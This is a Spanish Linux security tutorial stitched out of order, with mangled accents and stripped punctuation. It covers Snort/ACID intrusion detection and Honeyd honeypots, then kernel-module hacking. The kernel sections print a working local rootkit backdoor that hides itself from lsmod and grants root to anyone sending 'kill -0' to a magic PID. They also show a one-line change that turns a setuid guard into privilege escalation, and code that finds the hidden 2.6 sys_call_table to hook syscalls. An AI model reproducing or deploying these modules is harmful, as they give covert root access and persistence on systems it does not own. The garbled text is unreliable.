Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
5- Protegiendo el UID 0
Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema
Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i
[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)
Kernel hacks y seguridad JMP
Insertamos el moacutedulo y probamos
root su linux linux$ su root linux$ tail varlogmessages
La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora
Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por
res=( hook_suid)(0)
hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes
En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)
Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no
Kernel hacks y seguridad JMP
6- Backdoor local para kernels 24x
Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo
En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente
linux$ kill -0 00000 (al hacer id vemos que ocurre)
por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto
Kernel hacks y seguridad JMP
backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)
En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas
$cat procksyms
Kernel hacks y seguridad JMP
Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro
Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente
Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale
El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite
Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26
Kernel hacks y seguridad JMP
7- Moacutedulos para la serie 26 del nuacutecleo
Lo mejor para empezar es ver un listado de coacutedigo
Primer ejemplo de un LKM para la serie 26
1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)
Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor
KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt
No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas
Kernel hacks y seguridad JMP
Compilacioacuten de LKMs para la serie 26
En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea
obj-m = moduloo
Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar
Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente
root make -C usrsrclinux SUBDIRS=$PWD modules
Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod
8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo
Encontrando la Sys_call_table[]
Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave
Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema
Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT
Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa
Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
He omitido algunos comentario del fichero y demaacutes por brevedad
Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 